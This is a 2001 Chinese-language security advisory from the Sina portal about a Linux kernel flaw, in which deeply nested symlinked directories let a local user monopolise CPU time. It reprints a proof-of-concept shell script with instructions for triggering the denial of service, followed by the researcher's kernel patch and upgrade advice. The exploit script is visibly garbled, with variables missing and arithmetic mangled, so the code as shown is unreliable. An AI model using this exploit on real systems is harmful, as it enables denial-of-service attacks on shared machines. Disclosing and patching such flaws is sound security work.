首页 新闻 搜索 短信 分类 聊天 导航

新浪首页 > 文化教育 > 网络安全 > 正文

Linux kernel深层链接拒绝服务漏洞

http://www.sina.com.cn 2001/10/26 16:00  王府培训

  发布日期: 2001-10-18

  更新日期: 2001-10-19

  受影响的系统:
  Linux kernel 2.2.x, x<=19
  Linux kernel 2.4.y, y<=9
  不受影响系统:
  Linux kernel 2.4.12

  描述:

  Linux kernel的某些版本中存在一个漏洞,当处理一个深层链接的目录时,将消耗大量的CPU时间,其他进程将无法继续运行。这可能允许本地攻击者进行拒绝服务攻击。

  <*来源:Rafal Wojtczuk (nergal@7bulls.com) 链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html*>

  测试程序:

  警告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  Rafal Wojtczuk (nergal@7bulls.com)提供了如下测试代码:



*** mkdir.sh ***
#!/bin/sh
# by Nergal
mklink()
{
IND=
NXT=99 99(+1))
EL=l/../
P=""
I=0
while [ -lt ] ; do
P=""
I=99 99(+1))
done
ln -s ""l l
}

#main program

if [ != 1 ] ; then
echo A numerical argument is required.
exit 0
fi

ELNUM=

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l

  攻击者可以通过mkdir.sh 120来创建120层目录,然后调用'head l0'命令来进行攻击。

  建议:

  厂商补丁:

  Linux kernel 2.4.12已经解决了这一问题,您可以在厂商主页下载最新升级版本:http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.12.tar.gz

  对于Linux kernel 2.2.19, Rafal Wojtczuk (nergal@7bulls.com)提供了如下补丁:



--- linux-2.2.19/fs/namei.c.orig Wed Oct 10 09:31:37 2001
+++ linux-2.2.19/fs/namei.c Wed Oct 10 10:30:56 2001
@@ -277,6 +277,15 @@
result->d_op->d_revalidate(result, flags);
return result;
}
+/*
+ * Yes, this really increments the link_count by 5, and
+ * decrements it by 4. Together with checking against 25,
+ * this limits recursive symlink follows to 5, while
+ * limiting consecutive symlinks to 25.
+ *
+ * Without that kind of total limit, nasty chains of consecutive
+ * symlinks can cause almost arbitrarily long lookups.
+ */

static struct dentry * do_follow_link(struct dentry *base, struct dentry *dentry, unsigned int follow)
{
@@ -284,13 +293,17 @@

if ((follow & LOOKUP_FOLLOW)
&& inode && inode->i_op && inode->i_op->follow_link) {
- if (current->link_count < 5) {
+ if (current->link_count < 25) {
struct dentry * result;

- current->link_count++;
+ if (current->need_resched) {
+ current->state = TASK_RUNNING;
+ schedule();
+ }
+ current->link_count += 5;
/* This eats the base */
- result = inode->i_op->follow_link(dentry, base, follow);
- current->link_count--;
+ result = inode->i_op->follow_link(dentry, base, follow|LOOKUP_INSYMLINK);
+ current->link_count -= 4;
dput(dentry);
return result;
}
@@ -324,6 +337,8 @@
struct dentry * dentry;
struct inode *inode;

+ if (!(lookup_flags & LOOKUP_INSYMLINK))
+ current->link_count=0;
if (*name == '/') {
if (base)
dput(base);
--- linux-2.2.19/include/linux/fs.h.orig Wed Oct 10 10:06:41 2001
+++ linux-2.2.19/include/linux/fs.h Wed Oct 10 10:07:58 2001
@@ -872,6 +872,7 @@
#define LOOKUP_DIRECTORY (2)
#define LOOKUP_SLASHOK (4)
#define LOOKUP_CONTINUE (8)
+#define LOOKUP_INSYMLINK (16)

extern struct dentry * lookup_dentry(const char *, struct dentry *, unsigned int);
extern struct dentry * __namei(const char *, unsigned int);

  您需要重新编译并替换原有内核,重新启动系统。


   手机铃声下载 快乐多多 快来搜索好歌!
      新浪企业广场诚征全国代理


发表评论】 【读书沙龙】 【短信推荐】 【关闭窗口

 相关链接
Lindows:在Linux上执行Windows软件 (2001/10/25 11:34)
在Linux操作系统上“跑”ISDN (2001/10/24 10:50)
日本惠普终于推出Linux工作站 (2001/10/24 08:58)
Linux流媒体随时传精彩 (2001/10/18 16:58)
Windows下的Linux--WinLinux (2001/10/17 18:00)
Novell Groupwise 泄露任意文件漏洞 (2001/10/26 16:03)
Trend Micro OfficeScan & Virus Buster 配置文件泄露漏洞 (2001/10/26 16:05)

新 闻 查 询



分 类 信 息
北京
  • 北大燕园MBA辅导
  • 工程师一年速成
  • 结婚不必东奔西走
  • 北外托福雅思班
    济南
  • 出国留学报名在即
  • 成功摇篮山东联大
    上海
  • 朝日文化商务培训
  • 海滨城市——厦门
    广东
  • 0.38元国际长途
    河南
  • 轻大教育文化交流
    天津
  • 精益求精暖通空调
  • 分类信息刊登热线>>




    文化教育意见反馈留言板电话:010-62630930-5178 欢迎批评指正

    网站简介 | 用户注册 | 广告服务 | 招聘信息 | 中文阅读 | Richwin | 联系方式 | 帮助信息

    Copyright © 1996 - 2001 SINA.com, Stone Rich Sight. All Rights Reserved

    版权所有 四通利方 新浪网

    本网站由北京信息港提供网络支持